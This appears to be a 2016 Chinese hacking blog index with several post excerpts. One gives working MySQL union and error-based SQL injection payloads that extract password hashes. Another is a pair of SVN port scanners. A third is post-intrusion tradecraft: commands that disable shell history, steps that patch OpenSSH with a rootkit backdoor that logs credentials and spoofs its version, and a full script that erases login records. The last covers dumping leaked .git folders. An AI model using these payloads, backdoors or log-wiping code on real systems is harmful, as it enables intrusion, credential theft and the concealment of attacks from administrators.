wubba lubba dub dub.
post @ 2016-04-19

网上关于这个的比较多,第一节课程是单引号注入,一般讲的都比较简单,加一个单引号闭合就行了,但是怎么注入数据呐。因为刚刚开始学,所以我翻了下源代码和数据库,注入出来的payload是这样的:
2' union select group_concat(id,user()),group_concat(username,@@version),group_concat(password, (select hex(password) from mysql.user limit 1)) from users where id=3 order by id desc -- -

简化一下语句是这样的select * from users where id=2 union select 1,2,3,mid((select password from mysql.user limit 1),N,1) order by id

union前后的字段数必须一样,union后面的数据可以自己发挥,如何让页面显示注入之后数据可以使用 order by,因为php语句是只显示sql里面第一行结果,所以要让我们注入出来的在第一行显示。

Error based

首先报错注入要注意闭合语句,比如id=1,如果在PHP里面是这样的select * from users where id='$id',其中变量是被单引号包围,在使用报错注入的时候一定要闭合单引号,同理其他符号也是。

BIGINT溢出错误

上面是union的注入情况,然后是报错注入如下:
select * from users where id=1 and !(select*from(select user())x)+~0
地址栏输入这样的语句
2' and !(select*from(select+user())x)%2b~0(注意单引号闭合,如果没有闭合还是出现正常的结果。

本文的攻击之所以得逞,是因为mysql_error()会向我们返回错误消息,只要这样,我们才能够利用它来进行注入。 这一功能,是在5.5.5及其以上版本提供的。

source:http://drops.wooyun.org/web/8024

EXP溢出错误

Read More
post @ 2016-04-15

程序是最开始学习Python写的,基本是东拼西凑,从这个程序开始接触多进程。有两个版本第一种是直接使用sockconnect连接来判断,第二种使用了scapy,本着追求最快的程序,结果使用scapysocket要慢好多。

下面是第一个程序,使用socket扫描:

#!/usr/bin/env python
# -*-coding:utf-8-*-

from subprocess import Popen,PIPE
import re
from netaddr import IPNetwork
import socket
from Queue import Queue
import threading
import time
import os

iplist = list(IPNetwork('1.2.3.4/24'))
def svn_scan(ip):
            s = socket.socket()
            s.settimeout(0.1)
            if s.connect_ex((str(ip), 3690)) == 0:
                p = Popen("svn info svn://" + str(ip),shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE)
                (out, err) = p.communicate()
                if re.search(r'UUID', out):
                     print ip
            s.close()


def worker():
    while not q.empty():
       ip = q.get()
       try:
            svn_scan(ip)
       finally:
            q.task_done()
start = time.time()

if __name__ == '__main__':
    q = Queue()
    map(q.put,iplist)
    threads = [threading.Thread(target=worker) for i in range(50)]
    map(lambda x: x.start(), threads)
    q.join()
    print 'need time %s' % (time.time() - start)

然后是使用了scapysyn扫描:

#!/usr/bin/env python
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #关闭import scapy的警告
from scapy.all import *
from netaddr import IPNetwork
from subprocess import Popen, PIPE
import re
import time
from Queue import Queue
import threading

conf.verb = 0  #关闭输出
targets = list(IPNetwork('1.2.3.4/24'))
start = time.time()
def svn_scan(target):
    ans = sr1(IP(dst=target)/TCP(dport=3690, flags="S"), timeout=0.5)
    if ans is None:
        pass
    elif ans.haslayer(TCP):
        if ans.getlayer(TCP).flags == 18:
            sr(IP(dst=target)/TCP(dport=3690, flags="RA"), timeout=0.01)
            p = Popen("svn info svn://" + target, shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE)
            out, err = p.communicate()
            if   re.search(r'UUID', out) :
                print target

def worker():
    while not q.empty():
        item = q.get()
        try:
            svn_scan(str(item))
        finally:
            q.task_done() 
if __name__ == '__main__':
    q = Queue()
    map(q.put, targets)
    threads = [ threading.Thread(target=worker) for i in range(50)]
    map(lambda x: x.start(), threads)
    q.join()
    print 'need time %s' %(time.time() - start)

====2017-12-15更新

关于多线程,上面两个的q.join写错了,删掉之后改为:

map(lambda x: x.join(), threads)

扫描/24的主机,花费的时间从8s变为了0.5s,时间不是这么计算的。

如果上面没有设置线程的daemon,最后运行的时候会一直卡着,因为进程默认不会停的,要这样:

Read More
post @ 2016-04-13

对于SSH来说,登录主机之后先执行:
unset HISTFILE;export HISTFILESIZE=0;export HISTIGNORE=*;export HISTCONTROL=ignorespace

然后是SSH留后门的方法http://www.ricter.me/posts/%E4%BB%8E%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E5%88%B0%E7%B3%BB%E7%BB%9F%20root%20%E6%9D%83%E9%99%90?_=1460551605108简单来说就是以下的代码:

yum install -y openssl openssl-devel pam-devel
http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
http://ftp.vim.org/security/OpenSSH/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz   
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz   
cd openssh-5.9p1.patch/   
cp sshbd5.9p1.diff ../openssh-5.9p1   
cd ../openssh-5.9p1   
patch < sshbd5.9p1.diff   //patch  后门
执行vi includes.h

+#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码
+#define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码
+#define SECRETPW "123456654321" //你后门的密码

执行vi version.h

#define SSH_VERSION "填入之前记下来的版本号,伪装原版本"
#define SSH_PORTABLE "小版本号"
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make && make install 
service sshd restart //重启sshd

http://blog.csdn.net/bnxf00000/article/details/45217831

接下来删除登录的历史记录,使用logtamper.py代码复制过来:

#!/usr/bin/env python 
import os, struct, sys
from pwd import getpwnam
from time import strptime, mktime
from optparse import OptionParser
 
UTMPFILE = "/var/run/utmp"
WTMPFILE = "/var/log/wtmp"
LASTLOGFILE = "/var/log/lastlog"
 
LAST_STRUCT = 'I32s256s'
LAST_STRUCT_SIZE = struct.calcsize(LAST_STRUCT)
 
XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x'
XTMP_STRUCT_SIZE = struct.calcsize(XTMP_STRUCT)
 
 
def getXtmp(filename, username, hostname):
    xtmp = ''
    try:
        fp = open(filename, 'rb')
        while True:
            bytes = fp.read(XTMP_STRUCT_SIZE)
            if not bytes:
                break
 
            data = struct.unpack(XTMP_STRUCT, bytes)
            record = [(lambda s: str(s).split("\0", 1)[0])(i) for i in data]
            if (record[4] == username and record[5] == hostname):
                continue
            xtmp += bytes
    except:
        showMessage('Cannot open file: %s' % filename)
    finally:
        fp.close()
    return xtmp
 
 
def modifyLast(filename, username, hostname, ttyname, strtime):
    try:
        p = getpwnam(username)
    except:
        showMessage('No such user.')
 
    timestamp = 0
    try:
        str2time = strptime(strtime, '%Y:%m:%d:%H:%M:%S')
        timestamp = int(mktime(str2time))
    except:
        showMessage('Time format err.')
 
    data = struct.pack(LAST_STRUCT, timestamp, ttyname, hostname)
    try:
        fp = open(filename, 'wb')
        fp.seek(LAST_STRUCT_SIZE * p.pw_uid)
        fp.write(data)
    except:
        showMessage('Cannot open file: %s' % filename)
    finally:
        fp.close()
    return True
 
 
def showMessage(msg):
    print msg
    exit(-1)
 
 
def saveFile(filename, contents):
    try:
        fp = open(filename, 'w+b')
        fp.write(contents)
    except IOError as e:
        showMessage(e)
    finally:
        fp.close()
 
 
if __name__ == '__main__':
    usage = 'usage: logtamper.py -m 2 -u b4dboy -i 192.168.0.188\n \
        logtamper.py -m 3 -u b4dboy -i 192.168.0.188 -t tty1 -d 2015:05:28:10:11:12'
    parser = OptionParser(usage=usage)
    parser.add_option('-m', '--mode', dest='MODE', default='1' , help='1: utmp, 2: wtmp, 3: lastlog [default: 1]')
    parser.add_option('-t', '--ttyname', dest='TTYNAME')
    parser.add_option('-f', '--filename', dest='FILENAME')
    parser.add_option('-u', '--username', dest='USERNAME')
    parser.add_option('-i', '--hostname', dest='HOSTNAME')
    parser.add_option('-d', '--dateline', dest='DATELINE')
    (options, args) = parser.parse_args()
 
    if len(args) < 3:
        if options.MODE == '1':
            if options.USERNAME == None or options.HOSTNAME == None:
                showMessage('+[Warning]: Incorrect parameter.\n')
 
            if options.FILENAME == None:
                options.FILENAME = UTMPFILE
 
            # tamper
            newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
            saveFile(options.FILENAME, newData)
 
        elif options.MODE == '2':
            if options.USERNAME == None or options.HOSTNAME == None:
                showMessage('+[Warning]: Incorrect parameter.\n')
 
            if options.FILENAME == None:
                options.FILENAME = WTMPFILE
 
            # tamper
            newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
            saveFile(options.FILENAME, newData)
 
        elif options.MODE == '3':
            if options.USERNAME == None or options.HOSTNAME == None or options.TTYNAME == None or options.DATELINE == None:
                showMessage('+[Warning]: Incorrect parameter.\n')
 
            if options.FILENAME == None:
                options.FILENAME = LASTLOGFILE
 
            # tamper
            modifyLast(options.FILENAME, options.USERNAME, options.HOSTNAME, options.TTYNAME , options.DATELINE)
 
        else:
            parser.print_help()

====
更新:

上面的可以在debain系使用,感觉下面这种方法更通用:
有两种方式:

  1. 修改/etc/ssh/ssh_config或者 ~/.ssh/config 配置文件:

Host *

Read More
post @ 2016-03-30

当部署线上项目的时候可能会把git代码仓库一起部署上去,造成的结果就是.git文件夹泄漏,由此可以根据.git/index来知道对应的压缩文件名字,下载之后解压缩即可得到源代码。这个程序是根据lijiejie的githack更改过来的。

因为githack使用的是socket直接read()之后解压缩,如果文件太大会造成卡死。不管是githack还是rip-git,在下载文件的时候,如果文件不存在,而且服务器设置了302跳转的话,就会下载跳转那个页面,最后会导致下载好多重复文件。

所以我在源代码的基础上更改了下,先下载git压缩文件,然后再解压缩到对应的名称,如果文件不存在,服务器跳转,就pass。中间碰到几个问题如下:

使用requests碰到的问题

timeout()

简单来说,Timeouts可以是一个元组,第一个数值代表的是connecttimeout,第二个数值表示readtimeout,在这里readtimeout表示的是is the number of seconds the client will wait for the server to send a response,(Specifically, it’s the number of seconds that the client will wait between bytes sent from the server. In practice, this is the time before the server sends the first byte)

下载大文件

使用requests,所以下载的时候不需要担心steam=True的情况,直接使用。

Read More
⬆︎TOP